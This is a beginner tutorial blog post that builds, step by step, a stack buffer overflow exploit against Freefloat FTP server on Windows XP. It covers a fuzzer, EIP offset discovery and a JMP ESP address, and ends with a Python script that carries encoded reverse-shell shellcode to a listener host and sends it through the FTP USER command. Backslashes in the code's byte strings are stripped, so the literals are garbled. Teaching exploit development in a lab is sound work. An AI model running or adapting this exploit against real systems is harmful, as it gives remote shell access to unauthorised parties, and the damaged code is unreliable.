This blog post will introduce some basic concepts for exploit research and development. We will be walking through a basic buffer overflow example using Freefloat FTP server – Download Link.
If you have never written an exploit before you might think the task is far beyond your comprehension, but I assure you this basic example will be easy to follow. We will be showing a vanillia EIP overwrite, which will allow us to gain control of program execution and redirect it to our shellcode. If you plan to follow along with this blog post you should get the following setup:
1. VM platform (Virtualbox, VMware, etc.)
2. Have a Windows 32-bit XP VM and a Kali Linux VM
3. Install Immunity debugger, Mona.py, and Freefloat FTP server on Windows VM
Before we jump into the hands on the keyboard stuff, lets go over some fundamentals with regards to buffer overflows. The general idea is there is an application that accepts input from a user without any bounds checking. This allows us to overwrite the memory space “buffer” and hopefully overwrite the EIP register which will allows us to redirect program execution to our shellcode.
Buffer overflows can get very advanced because of the application crash specifics (Structured Exception Handling (SEH), available space for shellcode, bad characters, etc.), and Operating System (OS) defenses (ALSR, DEP, etc.). These more advanced topics will be covered in later blog posts. We need to crawl before we can walk/run.
Assembly Code Primer:
Assembly language is considered a low level language that is a human readable version of a computer’s architecture instruction set.
Normally code is written in a higher level programming language (C/C++) then it is compiled into machine code, which is just hex bytes that the CPU executes. These hex bytes can be represented by assembly code. When we start to look at FreeFloat FTP server in Immunity debugger we will see both the assembly instructions and raw hex values.
When you hear “shellcode” these are raw machine instructions that are executed directly by the CPU without having to go through this compilation process. With this exploit example we will be demonstrating a stack-based buffer overflow. This allows us to take advantage of CPU registers to exploit the vulnerability. Registers are small amounts of memory available as part of the CPU.
Below is a quick overview of some common CPU registers:
Instruction Pointer: “Program Counter” EIP – Register that contains the memory address of the next instruction to be executed by the program. EIP tells the CPU what to do next.
Stack Pointer: ESP – Register pointing to the top of the stack at any time
Base Pointer: EBP – Stays consistent throughout a function so that it can be used as a placeholder to keep track of local variables and parameters.
EAX – “accumulator” normally used for arithmetic operations
EBX – Base Register
ECX – “counter” normally used to hold a loop index
EDX – Data Register
ESI/EDI – Used by memory transfer instructions
ESP – Points to last item on the stack
To avoid writing a book, we wont cover any more assembly in this blog post. There are loads of tutorials online if you find you need more to follow along, and you will likely find you pick it up as you go. We just need to know that EIP will control program execution, and ESP will store our shellcode. We will take a closer look at this next when we start to fuzz the application.
To start the exploit development process, we need to first use a fuzzer to supply varying types of input to the application. In this example we will be leveraging a basic Python script to supply increasing buffer inputs to the FTP “USER” command until we crash the application. Below is a basic Python script we will be leveraging which is commented to help you understand how the code works:
# Import the required modulees the script will leverage # This lets us use the functions in the modules instead of writing the code from scratch import sys, socket from time import sleep # set first argument given at CLI to 'target' variable target = sys.argv # create string of 50 A's 'x41' buff = 'x41'*50 # loop through sending in a buffer with an increasing length by 50 A's while True: # The "try - except" catches the programs error and takes our defined action try: # Make a connection to target system on TCP/21 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(2) s.connect((target,21)) s.recv(1024) print "Sending buffer with length: "+str(len(buff)) # Send in string 'USER' + the string 'buff' s.send("USER "+buff+"rn") s.close() sleep(1) # Increase the buff string by 50 A's and then the loop continues buff = buff + 'x41'*50 except: # If we fail to connect to the server, we assume its crashed and print the statement below print "[+] Crash occured with buffer length: "+str(len(buff)-50) sys.exit()
Now lets start the FTP server and attach it to Immunity debugger (File > Attach):
Once we hit play and allow the FTP server to run, we can begin to run our fuzzer to see if we can crash the application and hopefully overwrite EIP with our buffer input:
In the screen shot above, you can see we successfully overwrote the value of EIP with our input of “x41” using a buffer of 250 bytes. The next step for us to continue to craft our exploit is to identify at which offset in the buffer overwrites EIP. To do this we can leverage Metasploit’s “pattern_create.rb” script which will produce a unique string with a pattern:
Now we can take this unique string and send it as our buffer to see what four bytes overwrite EIP. Below is our current exploit script:
import sys, socket target = sys.argv # pattern_create.rb 600 - creates a unique string of 600 bytes # The 4 byte value that overwrites EIP will be unique and determine offset in buffer where EIP can be controlled buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target,21)) print s.recv(2048) s.send("USER "+buff+"rn") s.close()
Once we have those 4 unique bytes we can use Metasploit’s “pattern_offset.rb” script to figure out what offset in our buffer overwrites EIP. Below we send in our buffer and see what offset overwrites EIP:
Now we can take that value and see what offset it sits in our buffer:
What we can see is that EIP is overwritten at offset 230 in our buffer. This means that we need to send in 230 bytes and then 4 bytes, which will be a memory address of an instruction we want to execute. Since the remainder of our input is pointed to by the ESP register we will want to jump to ESP.
With a “JMP ESP” instruction it lets us successfully control program execution through EIP and land in our user controlled space that will contain our shellcode. To find a JMP ESP instruction in memory we will leverage “mona.py” an extremely useful Python script for Immunity Debugger. Below is an example of running a command to find “JMP ESP” instructions in memory:
With our memory address of “JMP ESP” added to our script after our 230 byte initial buffer, we can have this memory address overwrite EIP. Before we run this script, lets set a breakpoint at our JMP ESP instruction so we can step through the instructions manually after we send in our input:
Search for memory address:
Set the breakpoint (Highlight instruction > hit F2 or double click the hex values):
Below is the next iteration of the exploit script:
import sys, socket target = sys.argv # EIP control after 230 bytes in buffer # '0x7c9d30d7' - JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWSsystem32SHELL32.dll) buff = 'x90'*230+'xd7x30x9dx7c'+'x43'*366 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target,21)) print s.recv(2048) s.send("USER "+buff+"rn") s.close()
With the breakpoint set we point our exploit script at the target to see if we hit our breakpoint:
Now we can hit F7 to execute the JMP ESP instruction and we can see that we land in our buffer of ‘x43’ C’s. This is our user controlled space, which can now store our shellcode.
Getting Our Shell:
At this point in the exploit development process it is time to generate our shellcode. This will be whatever we want to happen after we take advantage of the vulnerability. For this example we will use msfpayload to generate a reverse shell payload. One part of the exploit development process we will gloss over is bad character analysis. After a program crashes there will be some characters that don’t work with the crash and cause the program to terminate.
We will need to avoid these characters in order to successfully execute our payload. For this particular crash we have the following bad characters (“x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d”). This process can be cumbersome and can be time consuming, so we wont cover enumerating the bad characters in this post. To create the shellcode we execute the following command:
Now that we have our shellcode, we can store it in our final exploit script:
import sys, socket target = sys.argv # msfpayload windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 R| msfencode -e x86/fnstenv_mov -b "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d" -t c # Bad Chars: "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d" # 338 bytes shellcode = ("x6ax4fx59xd9xeexd9x74x24xf4x5bx81x73x13xb7x3d" "xadxf8x83xebxfcxe2xf4x4bxd5x24xf8xb7x3dxcdx71" "x52x0cx7fx9cx3cx6fx9dx73xe5x31x26xaaxa3xb6xdf" "xd0xb8x8axe7xdex86xc2x9cx38x1bx01xccx84xb5x11" "x8dx39x78x30xacx3fx55xcdxffxafx3cx6fxbdx73xf5" "x01xacx28x3cx7dxd5x7dx77x49xe7xf9x67x6dx26xb0" "xafxb6xf5xd8xb6xeex4exc4xfexb6x99x73xb6xebx9c" "x07x86xfdx01x39x78x30xacx3fx8fxddxd8x0cxb4x40" "x55xc3xcax19xd8x1axefxb6xf5xdcxb6xeexcbx73xbb" "x76x26xa0xabx3cx7ex73xb3xb6xacx28x3ex79x89xdc" "xecx66xccxa1xedx6cx52x18xefx62xf7x73xa5xd6x2b" "xa5xdfx0ex9fxf8xb7x55xdax8bx85x62xf9x90xfbx4a" "x8bxffx48xe8x15x68xb6x3dxadxd1x73x69xfdx90x9e" "xbdxc6xf8x48xe8xfdxa8xe7x6dxedxa8xf7x6dxc5x12" "xb8xe2x4dx07x62xb4x6ax90x77x95x95x9exdfx3fxad" "xf9x0cxb4x4bx92xa7x6bxfax90x2ex98xd9x99x48xe8" "xc5x9bxdax59xadx71x54x6axfaxafx86xcbxc7xeaxee" "x6bx4fx05xd1xfaxe9xdcx8bx3cxacx75xf3x19xbdx3e" "xb7x79xf9xa8xe1x6bxfbxbexe1x73xfbxaexe4x6bxc5" "x81x7bx02x2bx07x62xb4x4dxb6xe1x7bx52xc8xdfx35" "x2axe5xd7xc2x78x43x47x88x0fxaexdfx9bx38x45x2a" "xc2x78xc4xb1x41xa7x78x4cxddxd8xfdx0cx7axbex8a" "xd8x57xadxabx48xe8xadxf8") # EIP control after 230 bytes in buffer # '0x7c9d30d7' - JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWSsystem32SHELL32.dll) buff = 'x90'*230+'xd7x30x9dx7c' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target,21)) print s.recv(2048) s.send("USER "+buff+'x90'*15+shellcode+"rn") s.close()
Finally, we can restart the FTP server, attach the application to the debugger, start a netcat listener to catch our reverse shell, and send our exploit buffer to the application.
This blog post touched on some basics for exploit research and development. Future tutorials will cover some more complex issues encountered in this space, and demonstrate some more advanced tricks. The next blog post will discuss leveraging an “Egghunter” technique to search memory for our shellcode because we aren’t always lucky enough to have it pointed to by a CPU register.